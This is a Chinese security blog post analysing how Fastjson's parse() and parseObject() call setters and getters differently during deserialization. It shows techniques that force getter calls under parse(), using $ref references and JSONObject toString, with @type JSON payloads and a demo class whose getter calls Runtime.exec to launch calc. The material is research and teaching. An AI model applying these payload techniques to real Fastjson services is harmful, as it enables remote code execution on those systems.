fastjson之parse和parseobject利用差异
1341025112991831 发表于 四川 WEB安全 1075浏览 · 2024-12-10 04:20

fastjson之parse和parseobject利用差异

parse和parseobject区别

结论

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。--- 引用https://jlkl.github.io/2021/12/18/Java_07/

上面说的条件:返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

分析

测试代码

package demo2;

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class FastJsonTest {

    public String name;
    public String age;
    public FastJsonTest() {
    }

    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }

    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }

    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }

    public static void main(String[] args) {
//        Object obj = JSON.parse("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
//        System.out.println(obj);

        Object obj2 = JSON.parseObject("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj2);
    }

}

执行parse() 时,只有 setName() 会被调用。执行parseObject() 时,setName()、getAge()、getName() 均会被调用。

parse() 分析

为什么能够调用setter和getter方法核心在createJavaBeanDeserializer方法,因为我们反序列化bean的时候是使用JavaBeanDeserializer去反序列化,而创建它的过程中我们看到javaBeaninfo的build方法
在这里先获取我们的get方法,但是只有我们的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

所以这也是只能调用这些getter方法的原因
我们看看setter方法,是没有什么限制的,只要是个setter方法就ok

然后看到这里我们就可以想一个问题了
为什么会触发getOutputProperties()

感觉上 parse() 进行反序列化创建Java类应该只会调用 setter 方法进行成员变量赋值才对,会什么会触发TemplatesImpl类中的 getOutputProperties() 方法呢?

另外 _outputProperties 成员变量和 getOutputProperties() 明明差了一个_字符,是怎么被 FastJson 关联上的?
可以看到处理逻辑是如果是有_就从第4位开始截取的

parseObject()分析

为什么它能够调用到全部的setter方法呢?在build步骤是一样的,没有什么区别,关键在这个方法,我们跟进看看

先看看调用栈

getName:20, FastJsonTest (demo2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:33, FastJsonTest (demo2)**加粗样式**

原因还是那句话
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()
所以会调用到目标类的getter方法

Fastjson parse突破特殊getter调用限制

了解了上面的知识,所以就会引来一个问题,如果我们底层调用的是parse来解析我们的json格式的,那我们是不是就不能利用一些调用链了

$ref引用

条件限制
jdk版本限制
fastjson>=1.2.36
开启Autotype

测试代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String payload =
                "[{\"@type\":\"demo2.User\",\"cmd\":\"calc\"},{\"@type\":\"demo2.User\",\"cmd\":\"notepad.exe\",\"test\":\"test\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }
}
package demo2;

import java.io.IOException;

public class User {
    private String cmd;
    private String test;

    public String getTest() {
        System.out.println("getTest");
        return test;
    }

    public void setTest(String test) {
        System.out.println("setTest");
        this.test = test;
    }

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        System.out.println("getcmd");
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("setcmd");
        this.cmd = cmd;
    }
}

运行main类弹出计算机

分析调试

首先我们学习一下这个引用
基本语法:
JSON 引用($ref):允许在 JSON 数据中引用已经解析的对象,避免重复数据

"$ref": "$"引用根对象
"$ref": "$[0]"引用根数组的第一个元素
"$ref": "$.propertyName"引用根对象的某个属性

明明是谈不了计算机的,结果弹出来了,我们下断点看看过程

getCmd:20, User (demo2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:571, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:151, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValue:616, JavaBeanSerializer (com.alibaba.fastjson.serializer)
getPropertyValue:3873, JSONPath (com.alibaba.fastjson)
eval:2354, JSONPath$PropertySegment (com.alibaba.fastjson)
eval:121, JSONPath (com.alibaba.fastjson)
handleResovleTask:1599, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
main:10, Main

我们看到在Object value = parser.parse();就已经解析了我们的value,也调用了相应的setter方法赋值了

之后调用handleResolveTask就和这个名字一样的意思
处理 JSON 解析过程中出现的引用解析任务(Resolve Task)。这些任务通常涉及到 JSONPath 引用(例如 $ref)的解析和处理
判断$开头的,然后去实例化我们的JSONPath的eval方法去解析我们的value

看到eval方法
设置主类,然后调用eval继续去处理

我们的sagment如下


继续调用eval

根据传入的String调用get方法

低版本不能使用原因

需要refValue不为null,并且refValue必须是JSONObject类。如下图

通过JSONObject调用

小插曲

下面给出代码

package demo2;

import com.alibaba.fastjson.JSON;


public class Test {
    private String id;

    public String getId() {
        System.out.println("getID");
        return id;
    }

    public void setId(String id) {
        System.out.println("setID");
        this.id = id;
    }

    public static void main(String[] args) {

        String payload = "[{\"@type\":\"demo2.Test\",\"id\":\"123\"}]";
        Object o = JSON.parse(payload);
        System.out.println(o);
    }
}

发现竟然调用了我们的get方法
这是为什么?
其实是因为我已经把他变成数组了,仔细看外面多了一层[]把我们的数据变成了数组

结果是
由于打印的是一个数组对象,数组的 toString() 方法会递归地调用每个元素的 toString() 方法。由于 Test 类没有重写 toString() 方法,这会调用 JSON.toJSONString(o) 来转换对象为 JSON 字符串,这个过程会调用 getId 方法来获取 id 属性值,故打印 getID。

getId:11, Test (demo2)
write:-1, ASMSerializer_1_Test (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
println:821, PrintStream (java.io)
main:24, Test (demo2)

发现确实是在print那里调用的,是把我们的字符串打印的时候是把我们的array对象打印出来

所以其实这也给了我们一个提示,我们是不是找一个tostring,把我们的字符串还原为我们的对象的过程

Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test ,也会调用getter获取类种相关信息

正经过程

测试代码
package demo2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class Test {
    private String id;

    public String getId() {
        System.out.println("getID");
        return id;
    }

    public void setId(String id) {
        System.out.println("setID");
        this.id = id;
    }

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"aaa\":{\"@type\":\"demo2.Test\",\"id\":\"123\"}}";
        Object o = JSON.parse(payload);
        System.out.println(o);
    }
}
分析调试

巧妙利用了JSONObject.toString ,JSONObject 继承了JSON抽象类

com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str

那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
会调用我们的key的Tostring

Fastjson在解析的时候如果遇到{,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可

为什么大于1.2.36版本不行

com.alibaba.fastjson.parser.DefaultJSONParser#parse中直接入口点掐了,不再调用toString函数

0 条评论
某人
表情
可输入 255